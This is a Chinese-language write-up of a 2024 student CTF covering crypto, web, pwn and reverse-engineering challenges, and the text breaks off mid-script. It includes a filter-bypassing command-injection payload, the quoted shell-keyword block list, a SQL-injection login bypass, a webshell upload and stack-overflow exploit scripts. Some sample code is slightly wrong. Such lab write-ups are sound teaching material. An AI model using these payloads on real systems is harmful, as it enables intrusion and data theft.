CNSS Summer-Camp 2024

Let’s Capture The Flag!

CNSS在2024年8月的CTF夏令营⛱️题目,自己的wp。

🔢Crypto

🔮cnss娘的谜语

cnss娘信手写下几串意义不明的谜语,你可以猜出其中的含义吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64
from Crypto.Util.number import *
from secret import flag ## secret is a local file, flag is unknown to you. Try to find it.

assert type(flag) == str

flag = flag.encode()
length = len(flag)
assert length % 4 == 0
L = length // 4

secret1 = bytes_to_long(flag[:L])
secret2 = flag[L:2*L].hex()
secret3 = bin(int(flag[2*L:3*L].hex(), 16))
secret4 = base64.b64encode(flag[3:L])

print(f"{secret1 = }")
print(f"{secret2 = }")
print(f"{secret3 = }")
print(f"{secret4 = }")
"""
secret1 = 30772543014919602267414633191
secret2 = 'bc96e7a081e698afe5ada620'
secret3 = '0b10000110111001001111001011100000111010001101111001000001110011110011010100001001110011110101100'
secret4 = b'rOS4gOatpeOAgiF9'
"""

常见编码,把十进制、十六进制、二进制和 base64 分别转化为字节,拼起来后 utf-8 转成 string 就能还原出flag

cnss{学会编码是学 Crypto 的第一步。!}

🐬水龙吟

楚天千里清秋,水随天去秋无际。遥岑远目,献愁供恨,玉簪螺髻。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Crypto.Util.number import *
from secret import flag

m = bytes_to_long(flag)

p = 4873905926740615531018463661385452170898784133203367799135441645830937750628221985822405430005703937197770247575076559744236744538228018031486049820173674
g = 2593552830271406523114019117101950399687742243315195843514987700785182656087120211241524521448500935829478648514527037446437576680778419567396094750508622
c = 0

for i in range(m):
c = (c + g) % p

print(f'{c = }')
"""
c = 3431276814099066030808269572939347769420622699894452016972504433264414095698239241816562301198442206498226641308404105790355301176892588988847042699636406
"""

解一个线性同余方程
$$
c \equiv mg\pmod{p}
$$

  • 用逆元求解:

首先用 Euclid 算法递归计算 $g$ 和 $p$ 的最大公约数 $gcd(g, p)$:

1
2
3
4
5
def gcd(a, b):
if b == 0:
return a
return gcd(a, a % b)
# gcd(g, p) = 23027835966762406

方程两边同时除以 $gcd$,只需找到 $g’$ 的逆元即可。
$$
m\equiv c’g’\pmod{p’}
$$

  • 用 Extend Euclid alg 求解:向下递,向上归。
1
2
3
4
5
def exgcd(a, b):
if b == 0:
return a, 1, 0
d, x, y = exgcd(b, a % b)
return d, y, x - (a // b) * y

解出 $m$ 就能还原出 flag

cnss{Subgroup @nd Eucl1d algOrithm 1s eleg4nt.}

🌔卜算子

惊起却回头,有恨无人省。拣尽寒枝不肯栖,寂寞沙洲冷。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import flag
from secret import flag

p, q, r = getPrime(512), getPrime(512), getPrime(512)
n = p * q * r
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)

print('p =', p)
print('q =', q)
print('n =', n)
print('c =', c)
"""
p = 12253096079262730693787845304459770181159272160708761390419517461435886798119494973936186382645490774511179747402693066192362104144553287739427091488849987
q = 9656184899794050073098614505490788837141112476549205418072011388278372195682566976277132351856116300104728124405389485440262266612903835574949734938773879
n = 1068394811940475700113916170772008310607904879176073274337669322446687936907143981238893756179197975634434673229920275765973807209412891205884402965483756254507691419368528133959132303476165747992107800736918701005971552264644185146124560027884795936191839406241406301141310602020436434278421529178345240902508007101551941438277539664839258109542374751444222500079818129540895166090788487787028178055561786822480872065405947357363186718845196587434430898650662917
c = 364812620179131273680130240148084836403846027393384913159162092631491386521136431985815726041640268869899250546875572473450702105133851945618590296616284218872409897353796638895758963083075264218372930102765065661636950920355098372841435042642748593167374414989630427181232399218196685772309403529745406119979371226428026631723070867224675860939203796555567951762311063010081727524747799375832842589314306700599116049075415601108806973017635507910763925927172362
"""
欧拉定理
若 $n$,$a$ 为正整数且 $gcd(a, n)=1$,则$a^{\phi(n)}\equiv1\pmod{n}$。

由于 $c\equiv m^e\pmod{n}$,设 $d$ 为 $e$ 模 $\phi(n)$ 的逆元,即
$$
ed\equiv 1\pmod{\phi(n)}
$$
则有
$$
c^d\equiv m^{ed}\equiv m^{1+k\phi(p)}\equiv m\pmod{n}
$$
因此,利用三素数 RSA 即可解出 flag

cnss{1t is similar to two-prime RSA....}

🐠Fun_factoring

Have fun in the factoring!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import random
from Crypto.Util.number import *
from gmpy2 import next_prime
from secret import flag1, flag2

def init():
primes = []
p = 1
while len(primes) < 100:
p = next_prime(p)
primes.append(int(p))
return primes

primes = init()
p1 = getPrime(256)
while True:
q1 = 1
while q1.bit_length() < 255:
q1 *= random.choice(primes)
q1 = q1 + 1
if isPrime(q1):
break

n1 = p1 * q1
e = 65537
m1 = bytes_to_long(flag1)
c1 = pow(m1, e, n1)

print(f'{n1 = }')
print(f'{c1 = }')

m2 = bytes_to_long(flag2)
p2 = getPrime(256)
q2 = getPrime(256)
n2 = p2 * q2
c2 = pow(m2, e, n2)

phi = (p2 - 1) * (q2 - 1)
e2 = getPrime(256)
d2 = inverse(e2, phi)

hint1 = getPrime(256) * n2
hint2 = e2 * d2

print(f'{c2 = }')
print(f'{hint1 = }')
print(f'{hint2 = }')
"""
n1 = 29993156790273796411588637755401407649619741972315831791586727944419911570896819043688187483218756247767784823799572993962152654560761989054087817767687901
c1 = 28308885699728621592812918494757273712938007912315485487807230648420711341284570451708049371754826651903406663574768899937862287581243099737368091309807825
c2 = 3677242432073556679040222440039877927024312077564452145956625214187804614184186227277646425370459616386984491952553180136037741092781602470053045143802537
hint1 = 397340046977096077577115578026599912881304442662450049334426974861677656259439266980515145452369301652618056238525786266286451780972189318240092026572582216328286841448920434798083168400087303822060653407466964485682775061825982767
hint2 = 42319976894927564843833810567252442522907372281560684051129782019144211533194692653447095916384084531450449319697685128778953472384491084162072476640254892049041007337641419872550411941455264025858397584349456909103991157799852081
"""

首先init()函数生成了前100个素数,$q_1-1$ 光滑,考虑使用 Pollard’s p - 1 algorithm

根据 Fermat’s little theorem:若 $p$ 是 $N$ 的素因子,且 $a$ 与 $p$ 互素,则
$$
a^{p-1}\equiv 1\pmod{p}
$$

$$
a^{t(p-1)}-1^t=kp
$$

Pollard's p-1 algorithm
若 $p$ 是一个 B-smooth number,则存在
$$M = \prod_{q\leq B} q^{\lfloor \log_q B \rfloor}$$ 使得 $(p-1)|M.$

计算 $gcd(a^M-1,N)$。如果结果不为 $1$ 或 $N$,那么就成功分解了 $N$。

不是很懂这个结构…

其实不难发现 $ B!\ |\ p-1$。所以只需找到一个合适大小的数 $B$,就可以在多项式时间内出结果,拿到 flag1

1
2
3
4
5
6
7
8
9
10
#exp
a = 2
B = 2
while True:
a = pow(a, B, N)
res = gcd(a - 1, N)
if res != 1 and res != N:
q = N // res
break
B += 1
cnss{1f_y0u_Kn0w_Pollard_y0u_Kn0w_1t_4ll}

注意到 hint2 实际上是 $e$ 和 $d$ 的乘积,计算 $k=ed-1$ 为 $p-1$ 的倍数。选随机数 $g\in(1,N)$。

RSA: how to factorize N given d

$k$ 为偶数,故 $k=2^t\cdot r$,其中 $r$ 为奇数且 $t\geq 1$,然后计算 $x=g^{\frac{k}{2}},g^{\frac{k}{4}},…,g^{\frac{k}{2^t}}\pmod{N}$ 直到 $x>1$ 且 $y=gcd(x-1,N)>1$。如果 $y$ 存在,则 $p=y$;若不存在,则重新生成 $g$.

1
2
3
4
5
6
7
8
9
10
11
12
13
#exp
k = e * d - 1
while True:
g = random.randint(2, n-1)
t = k
while True:
if t % 2 != 0:
break
t //= 2
x = pow(g, t, n)
if x > 1 and gcd(x - 1, n) > 1:
p = gcd(x - 1, n)
return (p, n // p)

先通过 hint1 把 n2 分解出来,再分解出 p2 和 q2 拿到 flag2

cnss{Factoring_the_modulus_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}

这两种方法的核心就是费马小定理

🕸️Web

做密码题的时候遇到很多和web交互的情况,遂前来学习。不会Web,打着玩的。

🦴babyHTTP

psych 上课开小差,下课之后同桌说今天学的 HTTP 请求,然而 psych 并不知道这个知识点,请你帮他完成作业,获得 flag 。

HTTP 请求有什么内容呢?

一张图说明访问网站的流程

硬核!30 张图解 HTTP 常见的面试题

cURL是一种通过命令行或脚本进行数据传输的工具,支持多种协议,可以用来发送http请求,获取服务器响应。(还有其他功能)

-i(--include)选项在输出中包含服务器返回的HTTP响应头信息。-v(--verbose)选项显示请求的详细信息和调试信息。

1
2
3
4
5
6
$ curl "http://152.136.11.155:10101/"
Please GET me a CNSS with a value of 'hackers'.
$ curl "http://152.136.11.155:10101/?CNSS=hackers"
And I need you POST a web with a value of 'fun'.
$ curl "http://152.136.11.155:10101/?CNSS=hackers" -X POST -d "web=fun"
Do you know cookie?You are not admin!

关于cookie我们-i看一下,找到Set-Cookie: admin=false,改成true就行了。

1
2
$ curl "http://152.136.11.155:10101/?CNSS=hackers" -X POST -d "web=fun" -b "admin=true"
CNSS{w2b_!s_Reai1y_7un!!!}

御林的题还考了Referer,提示我们You must come from “YulinSec://127.0.0.1”

1
$ curl curl "http://101.35.209.40:44505/?key1=YulinSec" -X POST -d "key2=YulinSec" -H "Referer:YulinSec://127.0.0.1"

关于302跳转重定向的题,看源码提示我们flag位于/302.php下,直接curl即可查到flag。HTTP OPTIONS Method

🙋🏼‍♀️PHPinfo

CNSS娘!phpinfo文件是什么呀!

如何创建phpinfo文件并查看PHP信息 – WordPress大学 (wpdaxue.com)

直接在URL后添加/phpinfo.php查找即可。

1
cnss{l3t_u5_l3arn_php!nfo!}

🥇我得再快点

考验手速的时候到了

scRsCrIptiPt

我得再快点

看了网页的源代码,使用javascript实现一个自动刷新的页面,GET传参到/check就行了。

1
2
3
4
5
<p>Key : 6Dd3LzGVhvEn8wv<span id="variable"></span></p>
<form action="/check" method="GET">
<input type="text" id="value" name="value" required>
<button type="Flag">Flag</button>
</form>

机器的确是比人快呀!写一个python脚本,Requests库与网站进行交互。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import hashlib

url = 'http://152.136.11.155:10103'
submit_url = 'http://152.136.11.155:10103/check'

def get_md5_hash():
try:
content = requests.get(url).text
key = content.split('Key : ')[1].split('<span id="variable">')[0].strip()
return hashlib.md5(key.encode()).hexdigest()
except requests.RequestException as e:
print(f"Error: {e}")
return None

def submit_md5(md5_hash):
try:
return requests.get(submit_url, params={'value': md5_hash}).text
except requests.RequestException as e:
print(f"Error: {e}")
return None

if __name__ == "__main__":
md5_hash = get_md5_hash()
if md5_hash:
result = submit_md5(md5_hash)
if result:
print(result)
"""
cnss{3njoy_py5crIpt_n0w!!}
"""

🏓Ping

psych:#ping
CNSS娘:pong!

连上之后只有一段PHP代码:

1
2
3
4
5
if (isset($_POST['ip'])) {
$ip = $_POST['ip'];
$ping_result = ping($ip);
echo nl2br($ping_result);
}

很明显这是让我们用POST方法传一下ip地址,然后服务器执行ping函数。试一下:

1
2
3
4
5
6
7
8
$ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.<br />
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.046 ms<br />
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.039 ms<br />
<br />
--- 127.0.0.1 ping statistics ---<br />
2 packets transmitted, 2 received, 0% packet loss, time 31ms<br />
rtt min/avg/max/mdev = 0.039/0.042/0.046/0.007 ms

发现有回显,但过于正常。通过搜索ctf web ping得知,可以使用命令连接符尝试列目录。于是

1
2
3
4
$ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1;ls"
Error: Invalid input.
$ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1;"
Error: Invalid input.

不幸又幸运的是,我们知道分号;被滤掉了。开搜!

1
2
$ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1%0als"
index.php

出现了,emmm,不是想要的。别急,看看怎么个事儿:哎,空格也被过滤了。

1
$ curl "http://152.136.11.155:10104/" -X POST -d "ip=127.0.0.1%0acat%09index.php"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function validate_input($input) {
$invalid_chars = array("sh","bash","chown"," ", "chmod", "echo", "+", "&",";", "|", ">", "<", "`", "\\", "\"", "'", "(", ")", "{", "}", "[", "]");
foreach ($invalid_chars as $invalid_char) {
if (strpos($input, $invalid_char) !== false) {
return false;
}
}

if (preg_match("/.*f.*l.*a.*g.*/", $input)) {
return false;
}

return true;
}

function ping($ip_address) {
if (!validate_input($ip_address)) {
return "Error: Invalid input.";
}

$cmd = "ping -c 2 " .$ip_address;
exec($cmd, $output, $return_code);


if ($return_code !== 0) {
echo("Error: Failed to execute command.");
}

return implode("\n", $output);
}

if (isset($_POST['ip'])) {
$ip = $_POST['ip'];
$ping_result = ping($ip);
echo nl2br($ping_result); // 输出ping结果并保留换行
}
?>

总算看到过滤层了。去其TA目录看看吧。

HackBar

哈?哈!Here it is!来来让我们cat一下:

1
2
curl "http://152.136.11.155:10104/" -X POST -d "ip=1.1.1.1%0acat%09../../../f*"
CNSS{p0ng_pong_p0ng!!!}

在这之前我一直尝试网上搜到的各种绕过flag限制的方法,直到 fan✌️一句话点醒了我

fanllspd

学到了,谢谢宝宝(啾咪)>

🐶CNSS娘の宠物商店

CNSS娘开始创业啦!CNSS娘の宠物商店正式开业!

CNSS娘的账号是 admin , 登陆查看CNSS娘藏在后台的秘密……

sql注入' or 1='1

1
CNSS{h0w_d0_y0u_637_7h3_p455w0rd1?}

🎮2048

2048真好玩,玩到1000000分就能拿到flag!

不是,你真玩啊?

禁了F12和右键,Ctrl+Shift+I打开控制台,查看Flag按钮的HTML标签,注意到

1
<input type="button" onclick="getflag()" value="Flag">

在Sources的main2048.js中查到getflag()函数(以及下面各种屏蔽),发现是一堆乱码。想法是找到判断点1000000分但是没查到,复制下来转去查score,发现

1
if(score>=0xf4240)

这个0xf4240刚好是1000000,给它改成0再按一下Flag按钮即可拿到flag。

1
cnss{3asy_fr0nt_kn0w1edge!!!}

👤换个头像先

CNSS娘这么可爱,你确定要把她换掉吗?

真的只能上传图片吗?

账号密码都是admin登陆,上传一句话木马。改一下后缀绕过检查,先把php改成png,上蚁剑连接getshell。

💥Pwn

Pwn真是太有趣辣!从零开始的PWN之路!

😯nc? nc!

nc 152.136.11.155 10020

system(‘/bin/sh’),直接netcat一键getshell,Linux连接,cat flag

1
2
3
4
5
$ nc 152.136.11.155 10020                       
Welcome to CNSS Recruit 2024!
Start your journey to become a pwn master!
cat flag
cnss{Welcome_to_pwn_world!}

🤖Bot

偷偷告诉你,CNSS娘bot里其实藏了一个人。

前任中之人Shino,随着年纪渐长,已经无法满足群友日益增长的水群需求。CNSS娘迫切需要新的接班人!

为了不被群友识破,你需要按照操作规范水群:完成100次交互即可通过考核。

nc 152.136.11.155 10021

有个很好用的库叫pwntools!

一道Pwntool交互题。程序的逻辑就是循环100次后跳出循环,执行system函数。在循环内部会执行broadcast或bot_ping这两个函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import re

host = '152.136.11.155'
port = 10021
p = remote(host, port)

for i in range(100):
data = p.recvline().decode()

if '[SYSTEM]' in data:
match = re.search(r'\[SYSTEM\]\[(.*?)\]\((\d+)pt\)--\[(.*?)\]\((\d+)pt\)', data)
if match:
player_id = match.group(1)
player_score = int(match.group(2))
item_name = match.group(3)
item_score = int(match.group(4))

expected_response = f"Congratulations to {player_id} for passing [{item_name}], current score is {player_score + item_score} points!"
p.sendline(expected_response.encode())

elif '[USER]' in data:
if '#ping' in data:
p.sendline('pong!'.encode())

elif 'Too Slow' in data:
print("Timeout or unexpected issue occurred.")
break

else:
print(f"Unhandled data: {data}")

p.sendline(b'cat flag')
p.interactive()
"""
cnss{GnAlPu8Q-KL65ZOTK-hahahaha-U9BvTeeI}
"""

💓Overflow Me

小数组要被塞满了!

nc 152.136.11.155 10022

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[16]; // [rsp+0h] [rbp-20h] BYREF
__int64 v5; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
my_init(argc, argv, envp);
puts("Over flow me pls:");
read(0, buf, 0x20uLL);
if ( v5 != 114514 )
{
puts("wrong,try again");
exit(0);
}
system("/bin/sh");
return 0;
}

最基础的栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

host = '152.136.11.155'
port = 10022
p = remote(host, port)

padding = 16
payload = b'p' * padding + p64(114514)
p.sendlineafter('Over flow me pls:', payload)

p.sendline(b'cat flag')
p.interactive()
"""
cnss{Kz20UZyn-TNTfrc4Z-jiejiejie-sDwO2bC0}
"""

🔍Reverse

这个夏天,我第一次接近了那个女人。

😍那个女人

上课的时候Shino老师讲了一个工具可以用来逆向软件,但是Timlzh忘掉软件叫什么了,只记得头像是那个女人……

IDA 1

成功安装IDA Pro,打开即得flag

1
CNSS{Sh3_1s_IDA!W3lc0m3_t0_Rev3rse_W0rld!}

😭我的flag碎了一地

我的flag碎掉了,你能帮我找回来吗?

用IDA打开找flag、学会在IDA中使用F5。

IDA 2

打开IDA发现三个hint,Shift+F12能打开Strings,找到第一部分;左侧Functions栏上方找到第二部分;根据提示,X查看交叉引用,找到funs718,F5看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int func718()
{
puts("718");
br0ken_4parT_();
putchar(66);
putchar(117);
putchar(55);
putchar(95);
putchar(89);
putchar(48);
putchar(117);
putchar(95);
putchar(99);
putchar(64);
putchar(110);
return putchar(95);
}

这里putchar给的不完整,退回去能看到完整的最后一部分,拿到flag

1
CNSS{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}

✈️打飞机高手

你会打飞机吗?高分有奖哦!✈️

Patch Program

找程序漏洞,修改逻辑以出现flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int __fastcall main(int argc, const char **argv, const char **envp)
{
_main(argc, argv, envp);
Startup();
while ( IsOver )
{
UpdateInput();
UpdateNormal();
Show();
}
printf("\t\tYou Are so WEAK!\n");
Sleep(0x9C4u);
system("pause");
return 0;
}

int Show()
{
int result; // eax
int j; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]

HideCursor();
gotoxy(1LL, 1LL);
for ( i = 0; i <= 26; ++i )
{
for ( j = 0; j <= 61; ++j )
{
switch ( canvas[62 * i + j] )
{
case 1:
printf("*");
break;
case 2:
printf(asc_14001301C);
break;
case 3:
printf(&asc_14001301C[2]);
break;
case 0xFFFFFFFF:
printf(&asc_14001301C[4]);
break;
default:
if ( canvas[62 * i + j] )
{
if ( canvas[62 * i + j] == 4 )
printf(&asc_14001301C[8]);
}
else
{
printf(&asc_14001301C[6]);
}
break;
}
}
printf(&asc_14001301C[10]);
}
printf("\nScore: %d", score);
result = score;
if ( score > 1145141918 )
{
printf("\t\tWell Done! You got the flag!\n\t\t");
get_flag(); // 发现可疑函数!!!
Sleep(0x9C4u);
return system("pause");
}
return result;
}

在函数开头直接放上可疑函数即可,Edit-Patch Program-Assemble,右键、退出、鼠标点击空白处就可以看到变化后的代码,最后记得Apply Patches to…

IDA 3

运行修改好的exe程序,拿到flag

Patch

1
cnss{w0w_y0u_4r3_7he_m4st3r_0f_h1tt1ng_p1an3s!}

♾️亦真亦或亦假

尊嘟假嘟? O.o

纯加密题,根据题目不难猜是异或相关的。IDA打开以后Ctrl+F查一下main函数,看一下代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __fastcall main(int argc, const char **argv, const char **envp)
{
_QWORD v4[12]; // [rsp+20h] [rbp-60h] BYREF
int v5; // [rsp+80h] [rbp+0h]
_QWORD v6[12]; // [rsp+90h] [rbp+10h] BYREF
int v7; // [rsp+F0h] [rbp+70h]
int i; // [rsp+FCh] [rbp+7Ch]

_main(argc, argv, envp);
v6[0] = 0x731047656E6F7579LL;
v6[1] = 0x761B45794B10407DLL;
v6[2] = 0x6E005B71491F585FLL;
v6[3] = 0x45045205575D01LL;
memset(&v6[4], 0, 64);
v7 = 0;
memset(v4, 0, sizeof(v4));
v5 = 0;
printf("Input your flag: ");
scanf("%s", v4);
eNc0d3(v4); // 发现可疑点,这里对v4进行了加密
for ( i = 0; i <= 30; ++i )
{
if ( *((_BYTE *)v4 + i) != *((_BYTE *)v6 + i) )
{
printf("Wrong!\n");
return 0;
}
}
printf("Correct!\n");
return 0;
}

__int64 __fastcall eNc0d3(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+8h] [rbp-8h]
int v3; // [rsp+Ch] [rbp-4h]

v3 = 26;
for ( i = 0; ; ++i )
{
result = *(unsigned __int8 *)(a1 + i);
if ( !(_BYTE)result )
break;
*(_BYTE *)(i + a1) = v3++ ^ *(_BYTE *)(a1 + i);
}
return result;
}

加密是一个循环,读取flag地址加上i偏移位置的一个字节。将v3和读取到的字节进行异或,结果写回到同一位置。

主函数循环是在比较加密后v4和v6的前30个字节是否相同,也就是给我们密文v6,还原明文即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main() {
char c[32];
*(long long *)&c[0] = 0x731047656E6F7579LL;
*(long long *)&c[8] = 0x761B45794B10407DLL;
*(long long *)&c[16] = 0x6E005B71491F585FLL;
*(long long *)&c[24] = 0x45045205575D01LL;

int v3 = 26;
for (int i = 0; i < 31; i++) {
c[i] ^= v3++;
}

printf("%s", c);
return 0;
}
/* cnss{X0R_c4n_b3_us3d_t0_3nc0d3} */

🍵茶杯头大冒险

爱养生的Timlzh带着他的茶杯头来向你求助,你能帮他找到他心爱的茶壶吗😔

纯加密题,搜了一下应该是属于TEA加密,闻所未闻,看一下代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int __fastcall main(int argc, const char **argv, const char **envp)
{
_DWORD Str[8]; // [rsp+20h] [rbp-60h] BYREF
_DWORD v5[8]; // [rsp+40h] [rbp-40h]
unsigned int v6[6]; // [rsp+60h] [rbp-20h] BYREF
int j; // [rsp+78h] [rbp-8h]
int i; // [rsp+7Ch] [rbp-4h]
_main(argc, argv, envp);

v6[0] = 429459223;
v6[1] = 537200643;
v6[2] = 537462290;
v6[3] = 537006083;

v5[0] = -999025570;
v5[1] = 970203505;
v5[2] = -181949973;
v5[3] = -483739382;
v5[4] = 1062983671;
v5[5] = -697079924;

printf("input the flag: \n");
scanf("%s", Str);

if ( strlen((const char *)Str) == 24 )
{
for ( i = 0; i <= 4; ++i )
encrypt(&Str[i], v6);
for ( j = 0; j <= 5; ++j )
{
if ( Str[j] != v5[j] )
{
printf("it's not my teapot!");
return 0;
}
}
printf("Oh my god, you made it?!");
system("pause");
return 0;
}
else
{
printf("the length is NSFW~~~");
return 0;
}
}


__int64 __fastcall encrypt(unsigned int *a1, unsigned int *a2)
{
__int64 result; // rax
unsigned int i; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]
unsigned int v5; // [rsp+18h] [rbp-8h]
unsigned int v6; // [rsp+1Ch] [rbp-4h]

v6 = *a1;
v5 = a1[1];
v4 = 0;
for ( i = 0; i <= 0x1F; ++i )
{
v6 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (a2[v4 & 3] + v4);
v4 += 289739793;
v5 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (a2[(v4 >> 11) & 3] + v4);
}
*a1 = v6;
result = v5;
a1[1] = v5;
return result;
}

加密过程a1是明文,a2是密钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdint.h>

void decrypt(uint32_t* v, const uint32_t* key) {
uint32_t v0 = v[0], v1 = v[1];
const uint32_t delta = 0x11451411;
uint32_t sum = delta * 32;

for (int i = 0; i < 32; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}

v[0] = v0;
v[1] = v1;
}

int main() {
uint32_t key[4] = {429459223, 537200643, 537462290, 537006083};
uint32_t enc[6] = {0xC474145E, 0x39D42171, 0xF527A9EB, 0xE32AB90A, 0x3F5BD7F7, 0xD673678C};

for (int i = 4; i >= 0; i--) {
decrypt(&enc[i], key);
}

for (int i = 0; i < 6; i++) {
printf("%c%c%c%c", enc[i] & 0xFF, (enc[i] >> 8) & 0xFF, (enc[i] >> 16) & 0xFF, (enc[i] >> 24) & 0xFF);
}

putchar('\n');
return 0;
}
/* cnss{Enj0y_te4_W!th_me!} */

💥爆了爆了,和 JAVA 爆了

啊?逆向还要学 Java?

非常简单且入门的安卓逆向 你需要了解apk文件结构 JEB或JADX的使用 以及简单的java语法

JADX打开,翻找一通,找到com.cnss.myapplication,就是这道题的关键了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
class Test:
def __init__(self):
self.str = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/']

def main(self):
a = [
"SJNPhthkmYBHow5Y75wRDa==",
"RoBAU/g/jlxuy+Ns1YtA86==",
"YZNTjQcHgoBaqf5hyYtM0K==",
"Z1Z/gv18ro1pkgF2rX5x+6==",
...#100个
"bXF7hfV5smIOu/1q159Q16==",
"c441i+Z6r55Lmf9H4V=XD===",
"aY1MmRldcYRrtdlh50RJC===",
"Y5dYaAcAjoBtug1NwYFUBa==",
"TIk6kw9/pnZ41eRs1IZr4a==",
"cIU9ZQpjiINPy/kOw31OEa=="
]

for i in range(100):
s = self.decode(a[i])
print(a[i])
print(s)

def decode(self, code):
length = len(code)
if length == 0 or length % 4 != 0:
return None

end_equal_num = 0
if code.endswith("=="):
end_equal_num = 2
elif code.endswith("="):
end_equal_num = 1

code = code.replace('=', '0')
result = []
block_num = length // 4

for i in range(block_num):
after_decode = self.decode_detail(code[i * 4:(i * 4) + 4])
if after_decode:
result.append(after_decode)

result_str = ''.join(result)
return result_str[:len(result_str) - end_equal_num]

def decode_detail(self, s):
if len(s) != 4:
return None

a1 = self.get_index(s[0])
self.qwq()
a2 = self.get_index(s[1])
self.qwq()
a3 = self.get_index(s[2])
self.qwq()
a4 = self.get_index(s[3])
self.qwq()

b = [
chr((a1 << 2) | ((a2 & 48) >> 4)),
chr(((a2 & 15) << 4) | ((a3 & 60) >> 2)),
chr(((a3 & 3) << 6) | a4)
]

return ''.join(b)

def get_index(self, c):
try:
return self.str.index(c)
except ValueError:
return -1

def qwq(self):
tmp = [None] * 64
for i in range(len(self.str)):
tmp[i] = self.str[(i + 2) % 64]
self.str = tmp.copy()

if __name__ == "__main__":
test = Test()
test.main()

根据提示,key is a meaningful sentence,写个python脚本解一下base64,得到密钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

def decode(code):
if len(code) == 0 or len(code) % 4 != 0:
return None
end_equal_num = 0
if code.endswith("=="):
end_equal_num = 2
elif code.endswith("="):
end_equal_num = 1
code = code.replace('=', '0')

decoded_str = ''
for i in range(0, len(code), 4):
decoded_str += decode_detail(code[i:i+4])

result = decoded_str[:-end_equal_num]
return result

def decode_detail(encoded_str):
str_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
a1 = str_chars.index(encoded_str[0])
a2 = str_chars.index(encoded_str[1])
a3 = str_chars.index(encoded_str[2])
a4 = str_chars.index(encoded_str[3])

b = chr(((a1 << 2) | ((a2 & 48) >> 4))) + \
chr(((a2 & 15) << 4) | ((a3 & 60) >> 2)) + \
chr(((a3 & 3) << 6) | a4)

return b

def qvq(key_str):
